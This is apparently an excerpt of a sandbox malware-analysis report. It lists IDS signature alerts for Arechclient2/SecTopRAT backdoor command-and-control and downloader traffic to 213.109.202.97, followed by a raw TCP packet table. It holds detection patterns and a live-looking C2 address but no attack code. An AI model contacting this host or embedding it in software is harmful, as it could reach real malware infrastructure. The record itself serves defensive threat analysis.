2024-10-19T03:40:00.500403+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50119	213.109.202.97	9000	TCP
2024-10-19T03:40:00.500403+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50119	213.109.202.97	9000	TCP
2024-10-19T03:40:01.477584+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50120	213.109.202.97	9000	TCP
2024-10-19T03:40:01.477584+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50120	213.109.202.97	9000	TCP
2024-10-19T03:40:02.508857+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50121	213.109.202.97	9000	TCP
2024-10-19T03:40:02.508857+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50121	213.109.202.97	9000	TCP
2024-10-19T03:40:03.586985+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50122	213.109.202.97	9000	TCP
2024-10-19T03:40:04.602715+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50123	213.109.202.97	9000	TCP
2024-10-19T03:40:04.602715+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50123	213.109.202.97	9000	TCP
2024-10-19T03:40:05.750920+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50124	213.109.202.97	9000	TCP
2024-10-19T03:40:06.790146+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50125	213.109.202.97	9000	TCP
2024-10-19T03:40:08.852868+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50126	213.109.202.97	9000	TCP
2024-10-19T03:40:10.679831+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50127	213.109.202.97	9000	TCP
2024-10-19T03:40:11.790935+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50128	213.109.202.97	9000	TCP
2024-10-19T03:40:12.498196+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50130	213.109.202.97	15647	TCP
2024-10-19T03:40:12.790216+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50129	213.109.202.97	9000	TCP
2024-10-19T03:40:13.124422+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50130	213.109.202.97	15647	TCP
2024-10-19T03:40:13.261334+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50130	TCP
2024-10-19T03:40:13.787031+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50131	213.109.202.97	9000	TCP
2024-10-19T03:40:14.790208+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50132	213.109.202.97	9000	TCP
2024-10-19T03:40:15.853544+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50133	213.109.202.97	9000	TCP
2024-10-19T03:40:15.853544+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50133	213.109.202.97	9000	TCP
2024-10-19T03:40:16.853055+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50134	213.109.202.97	9000	TCP
2024-10-19T03:40:17.821508+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50135	213.109.202.97	9000	TCP
2024-10-19T03:40:18.884040+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50136	213.109.202.97	9000	TCP
2024-10-19T03:40:19.064822+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50138	213.109.202.97	15647	TCP
2024-10-19T03:40:19.378089+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:19.899730+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50137	213.109.202.97	9000	TCP
2024-10-19T03:40:20.053985+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.068731+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.073562+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50139	213.109.202.97	15647	TCP
2024-10-19T03:40:20.156286+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50139	TCP
2024-10-19T03:40:20.915277+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50140	213.109.202.97	9000	TCP
2024-10-19T03:40:21.948801+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50141	213.109.202.97	9000	TCP
2024-10-19T03:40:21.948801+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50141	213.109.202.97	9000	TCP
2024-10-19T03:40:22.915296+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50142	213.109.202.97	9000	TCP
2024-10-19T03:40:23.962551+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50143	213.109.202.97	9000	TCP
2024-10-19T03:40:24.955161+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50144	213.109.202.97	9000	TCP
2024-10-19T03:40:25.994033+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50145	213.109.202.97	9000	TCP
2024-10-19T03:40:26.993461+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50146	213.109.202.97	9000	TCP
2024-10-19T03:40:28.009336+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50147	213.109.202.97	9000	TCP
2024-10-19T03:40:28.009336+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50147	213.109.202.97	9000	TCP
2024-10-19T03:40:28.993846+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50148	213.109.202.97	9000	TCP
2024-10-19T03:40:29.993492+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50149	213.109.202.97	9000	TCP
2024-10-19T03:40:31.015179+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50150	213.109.202.97	9000	TCP
2024-10-19T03:40:31.015179+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50150	213.109.202.97	9000	TCP
2024-10-19T03:40:32.056456+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50151	213.109.202.97	9000	TCP
2024-10-19T03:40:32.517624+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50153	213.109.202.97	15647	TCP
2024-10-19T03:40:33.103193+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50152	213.109.202.97	9000	TCP
2024-10-19T03:40:33.103193+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50152	213.109.202.97	9000	TCP
2024-10-19T03:40:33.293702+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50153	TCP
2024-10-19T03:40:34.102925+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50154	213.109.202.97	9000	TCP
2024-10-19T03:40:35.110009+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50155	213.109.202.97	9000	TCP
2024-10-19T03:40:35.110009+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50155	213.109.202.97	9000	TCP
2024-10-19T03:40:36.197543+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50156	213.109.202.97	9000	TCP
2024-10-19T03:40:37.196921+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50157	213.109.202.97	9000	TCP
2024-10-19T03:40:39.197059+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50158	213.109.202.97	9000	TCP
2024-10-19T03:40:40.212377+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50159	213.109.202.97	9000	TCP
2024-10-19T03:40:40.212377+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50159	213.109.202.97	9000	TCP
2024-10-19T03:40:40.457450+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50161	213.109.202.97	15647	TCP
2024-10-19T03:40:41.212753+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50160	213.109.202.97	9000	TCP
2024-10-19T03:40:41.212753+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50160	213.109.202.97	9000	TCP
2024-10-19T03:40:41.264577+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50161	TCP
2024-10-19T03:40:42.181141+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50162	213.109.202.97	9000	TCP
2024-10-19T03:40:43.556335+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50163	213.109.202.97	9000	TCP
2024-10-19T03:40:44.668729+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50164	213.109.202.97	9000	TCP
2024-10-19T03:40:45.776124+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50165	213.109.202.97	9000	TCP
2024-10-19T03:40:46.808646+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50166	213.109.202.97	9000	TCP
2024-10-19T03:40:49.463339+0200	2051910	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity	1	192.168.2.5	50168	213.109.202.97	15647	TCP
2024-10-19T03:40:50.401461+0200	2029217	ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init	1	213.109.202.97	15647	192.168.2.5	50168	TCP
2024-10-19T03:40:50.790575+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50167	213.109.202.97	9000	TCP
2024-10-19T03:40:52.260920+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50169	213.109.202.97	9000	TCP
2024-10-19T03:40:53.212518+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50170	213.109.202.97	9000	TCP
2024-10-19T03:40:53.212518+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50170	213.109.202.97	9000	TCP
2024-10-19T03:40:54.275753+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50171	213.109.202.97	9000	TCP
2024-10-19T03:40:55.276133+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50172	213.109.202.97	9000	TCP
2024-10-19T03:40:56.215438+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50173	213.109.202.97	9000	TCP
2024-10-19T03:40:57.290654+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50174	213.109.202.97	9000	TCP
2024-10-19T03:40:58.307228+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50175	213.109.202.97	9000	TCP
2024-10-19T03:40:58.307228+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50175	213.109.202.97	9000	TCP
2024-10-19T03:40:59.291216+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50176	213.109.202.97	9000	TCP
2024-10-19T03:41:00.290667+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50177	213.109.202.97	9000	TCP
2024-10-19T03:41:01.338679+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50178	213.109.202.97	9000	TCP
2024-10-19T03:41:02.290690+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50179	213.109.202.97	9000	TCP
2024-10-19T03:41:04.166103+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50180	213.109.202.97	9000	TCP
2024-10-19T03:41:05.291238+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50181	213.109.202.97	9000	TCP
2024-10-19T03:41:06.697208+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50182	213.109.202.97	9000	TCP
2024-10-19T03:41:07.712709+0200	2052248	ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET)	1	192.168.2.5	50183	213.109.202.97	9000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 19, 2024 03:37:00.786962032 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:00.791949034 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:00.792054892 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:00.830941916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:00.835736990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:00.947341919 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:00.952212095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.054485083 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.059355021 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.163094997 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.167977095 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.283711910 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.288511992 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.397286892 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.402173042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.508517027 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.513359070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.560847044 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.615945101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.672085047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.677056074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:01.773147106 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:01.777998924 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:02.189651012 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:02.194691896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:02.308238983 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:02.313122988 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:02.445861101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:02.450804949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:02.784485102 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:02.789557934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:02.902100086 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:02.907020092 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.011321068 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.016189098 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.116707087 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.121711016 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.170157909 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.209702969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.226454020 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.231323004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.314487934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.338505030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.343301058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.449450970 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.454519987 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.458683968 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.484827995 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.534158945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.554043055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.558857918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.605171919 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.647207022 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.663645983 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.668487072 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.716072083 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.751358032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.751415968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.772924900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.777754068 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.820799112 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.865972042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.882260084 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.887061119 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.895699024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.944076061 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.958436966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.963330030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.963408947 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.964077950 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:03.968868971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:03.995637894 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.021385908 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.069097042 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.108747959 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.149296045 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.165751934 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.165824890 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.210316896 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.258122921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.293818951 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.319874048 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.324846029 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.429230928 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.435066938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.439086914 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.490971088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.538714886 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.586998940 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.587297916 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.631596088 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.648128033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.654798985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.695802927 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.740973949 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.758842945 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.763747931 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.770951986 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.819289923 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.840358973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.866631985 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.882277012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.890121937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.894959927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.914149046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.976049900 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:04.980962038 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:04.984662056 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.037875891 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.092520952 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.129198074 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173346996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173542023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173552036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173583031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173594952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173615932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173629045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173639059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173652887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173655033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.173695087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173712015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.173722029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.173733950 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.178482056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.178611994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.178663969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.178670883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.199454069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.225349903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.242727995 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.287873030 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.293555975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.293570995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.293639898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.314021111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328100920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328111887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328150034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328177929 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.328214884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328227043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328254938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.328296900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328310013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.328337908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.329010963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.329052925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.329056978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.329066038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.329092979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.329130888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.365988970 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.387073994 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.413456917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.413610935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.413700104 CEST	49705	9000	192.168.2.5	213.109.202.97
